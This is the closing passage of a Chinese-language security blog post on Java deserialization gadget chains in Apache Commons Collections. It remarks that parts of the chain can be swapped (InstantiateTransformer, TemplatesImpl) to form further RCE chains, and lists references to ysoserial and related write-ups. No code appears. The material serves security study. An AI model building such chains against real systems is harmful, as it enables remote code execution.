当然,到这里只是前半段进行了更改,后半段链子也可以进行替换,比如InstantiateTransformer和TemplatesImpl的利用链,前文也都介绍过,排列组合又是几条利用链

Reference

https://github.com/frohoff/ysoserial

https://paper.seebug.org/312/#6-java-apache-commonscollections-rce

https://xz.aliyun.com/t/8009

https://blog.0kami.cn/2019/10/24/java/study-java-deserialized-commonscollections3-1/

https://su18.org/post/ysoserial-su18-2/